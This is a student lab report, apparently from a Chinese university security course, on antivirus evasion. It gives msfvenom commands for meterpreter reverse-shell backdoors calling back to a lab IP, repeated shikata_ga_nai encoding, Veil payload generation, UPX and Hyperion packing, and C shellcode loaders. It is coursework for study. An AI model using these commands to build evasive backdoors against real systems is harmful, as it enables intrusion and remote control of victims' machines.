20222425 2024-2025-1 《网络与系统攻防技术》实验三实验报告
目录
1.实验内容
2.实验问题
3.实验过程
3.1正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
3.2 通过组合应用各种技术实现恶意代码免杀
3.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
4.问题及解决方案
5.学习感悟、思考等
1.实验内容
通过本次实验,需要掌握免杀原理与技术。包括正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧、通过组合应用各种技术实现恶意代码免杀等。
2.实验问题
(1)杀软是如何检测出恶意代码的?
①基于特征码的检测
一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。基于特征码的杀软检测(也称为签名检测)基于已知的病毒特征码(也称为病毒特征、病毒签名)来识别恶意代码。
e.g. 特征库举例-Snort
②启发式恶意软件检测
通过分析软件行为和特征来识别潜在的恶意软件的方法。与基于特征码的检测不同,启发式检测不依赖于已知的病毒特征库,而是尝试识别恶意行为模式或特征。优点在于它能够识别新型的恶意软件,而无需依赖已知的病毒特征库。然而,也可能会产生误报警告,因为一些正常软件的行为模式可能与恶意软件相似。
③基于行为的恶意软件检测
基于行为的检测更加注重软件的行为特征,而非特定的代码或文件特征。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
(2)免杀是做什么?
是指恶意软件开发者采取措施来绕过防御机制,使其恶意软件能够在目标系统上执行而不被杀毒软件或安全防护系统检测到或阻止。
(3)免杀的基本方法有哪些?
①多层加密和混淆:通过对恶意代码进行多层加密、混淆或编码,使其在静态分析时难以被识别和分析。
②变形:定期修改恶意代码的结构、逻辑或特征,以使其不断变化,从而绕过基于签名的检测方法。
③反虚拟化和反调试技术:阻止动态分析工具和调试器对恶意代码进行分析,使其难以被研究人员和安全工具检测到。
④利用未公开漏洞:利用操作系统或应用程序中的未公开漏洞,绕过系统防御措施,使恶意软件能够在系统中执行。
⑤定向攻击:定制化开发针对特定目标的恶意软件,使其更难以被通用的安全防护工具检测到。
⑥社会工程学:利用社会工程学手段,诱使用户点击恶意链接、下载恶意附件等,绕过技术防御。
3.实验过程
3.1正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
3.1.1使用msfvenom生成.exe后门可执行程序
输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.35.130 LPORT=2425 -f exe > 2022E2.exe
不使用编译器生成2022E2.exe文件并检测
通过指令msfvenom -p windows/meterpreter/reverse_tcp -e /x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.35.130 LPORT=2425 -f exe > 20222425.exe
使用编译器生成20222425.exe并检测
msfvenom -p windows/meterpreter/reverse_tcp -e /x86/shikata_ga_nai -i 24 -b ‘\x00’ LHOST=192.168.35.130 LPORT=2425 -f exe > 20222425.1.exe使用编码器生成后面程序20222425.1.exe(编码24次)
生成20222425.1.exe文件并检测
解释这个命令的各个部分:
-p windows/meterpreter/reverse_tcp: 指定生成的Payload类型为Meterpreter反向TCP shell,用于与攻击者的监听器建立连接。
-e /x86/shikata_ga_nai: 使用Shikata Ga Nai编码器对Payload进行混淆,增加免杀能力。
-i 24: 指定编码器的迭代次数为24次,用于增加混淆程度。
-b ‘\x00’: 指定要避免的字符,这里是避免空字符\x00,以防止在传输过程中被误解释。
采用msfvenom指令生成jar文件并检测
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.35.130 LPORT=2425 -f jar > 20222425.2.jar
采用msfvenom指令生成php文件并检测
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.35.130 LPORT=2425 x > 20222425.3.php
采用msfvenom指令生成py文件并检测
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.35.130 LPORT=2425 -f py > 20222425.4.py
采用msfvenom指令生成apk文件并检测
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.35.130 LPORT=2425 x > 20222425.5.apk
3.1.2安装veil
apt-get install veil-evasion
/ 安装veil /
修改一个克隆地址
cd /usr/share/veil/config
/ 进入setup.sh文件所在的目录 /
vim setup.sh
将里面git clone内容改掉,改成下面的样子
sudo git clone https://gitee.com/spears/VeilDependencies.git
/ 更改克隆地址,git是国外的,所以连接的时候会比较慢,这里改为国内的gitee源 /
退出保存后再次输入veil,继续进行后续内容的安装
按照默认一直安装下去,直到出现下面的内容,说明安装成功。
3.1.3使用veil
选择文件免杀Evasion
use evasion
list
/ 查看可用的payload /
使用c/meterpreter/rev_tcp.py生成一个简单c文件
use c/meterpreter/rev_tcp.py
或者
use 7
进行ip和端口配置
set LHOST 192.168.35.130
set LPORT 2425
/ 这里的IP和端口都是kali的 /
options
/ 查看详情 /
generate
/ 生成 /
然后生成文件,并且为文件输入名称
传到主机进行测试
按照上述步骤使用veil生成py文件并检测
3.1.4使用加壳工具
用upx命令对文件加压缩壳并传到主机检测
使用加密壳
进入hyperion所在的目录,将文件放在hyperion所在的目录加密并检测
使用C + shellcode编程
首先使用msf生成一段shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.35.130 LPORT=2425 -f c
可以看到生成了一长传shllcode,将这一段buf 内容复制
然后新建一个.c文件
然后将刚才复制的buf添加到文件里,并在后面添加以下代码
保存退出,然后将.c文件进行编译,生成.exe文件并检测
3.2通过组合应用各种技术实现恶意代码免杀
首先和签名c + shellcode 编译急眼。先生成一段 shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.35.130 LPORT=2425 -f c
然后将这一段shllcode复制下来,在win主机打开CodeBlocks,新建一个.c项目
随后再将输出得到的代码复制保留,在kali端再新建一个.c文件并编译,然后传入主机检测
可见成功实现了文件和杀软共存的结果,没有被检测出来
3.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
在我将文件发给舍友后却没有通过检测。没实现免杀功能
4问题及解决方案
问题一:下载veil时安装不成功
解决方法:修改克隆地址,改为国内地址就可以安装成功
问题二:我生成的python文件都能通过免杀
原因:我的主机电脑没有配置python环境,所以结果是免杀的。
5.学习感悟思考等
这次实验完成更多的看的是操作,学习如何使用工具,但如果不加强对底层原理的学习,是没办法开发更坚固的防御杀毒的杀毒软件或者更强硬的恶意代码的,毕竟时代在发展,技术在进步,未来的路还得靠我们继续走下去。仅凭我们现在所学的知识很难实现免杀。